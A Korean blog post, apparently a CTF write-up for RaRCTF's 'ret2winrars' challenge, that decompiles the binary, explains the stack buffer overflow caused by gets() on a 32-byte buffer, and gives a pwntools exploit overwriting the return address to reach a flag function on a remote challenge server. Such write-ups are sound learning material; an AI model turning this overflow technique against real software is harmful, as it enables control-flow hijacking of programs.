728x90
반응형
오늘은 ret2winrars 문제를 풀어볼 것이다.
먼저 ida로 decompile해보자.(main function)
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("Hello, welcome to the WinRaRs!");
printf("Please enter your WinRaR license key to get access: ");
get_license();
puts("Thanks for the license :)");
return 0;
}
일단은 딱히 취약점이 보이지는 않는다.
그러면 get_license를 확인해보자.
__int64 get_license()
{
char v1[32]; // [rsp+0h] [rbp-20h] BYREF
return gets(v1);
}
일단은 v1 32바이트가 있는데, 이걸 바이트 제한 없이 gets로 받아서 취약점이 발생한다.(BOF)
일단 rsp+0이라서 스택의 스타트 지점이다.
#stack
LOW
v1(32)
sfp(8)
ret(8)
HIGH
그러면 v1(32bytes) + sfp(8bytes)를 nop으로 채우고 아무 함수의 ret주소+flag함수 주소를 넣으면 된다.
flag 함수는 flag를 불러와서 출력하는 함수이다.
그러면 exploit code 짜보자.
반응형
난 get_license의 ret로 리턴했다.
from pwn import *
p = remote("193.57.159.27",26141)
#p = process("./ret2winrars")
#gdb.attach(p)
p.recvuntil("s: ")
payload = b"\x90"*40
payload += p64(0x401190) #get_license ret
payload += p64(0x401162) #flag function
p.sendline(payload)
flag = p.recv().decode('utf-8')
print("[+] flag : "+flag)
728x90
반응형
'CTFs' 카테고리의 다른 글
제 19회 순천향대 정보보호페스티벌 후기(YISF) (0) | 2021.08.22 |
---|---|
RaRCTF - Archer (0) | 2021.08.12 |
rtl ctf - ciphers galore! (0) | 2021.08.02 |
RTL ctf - Wait, What? (0) | 2021.08.02 |
redpwnCTF - secure (0) | 2021.07.25 |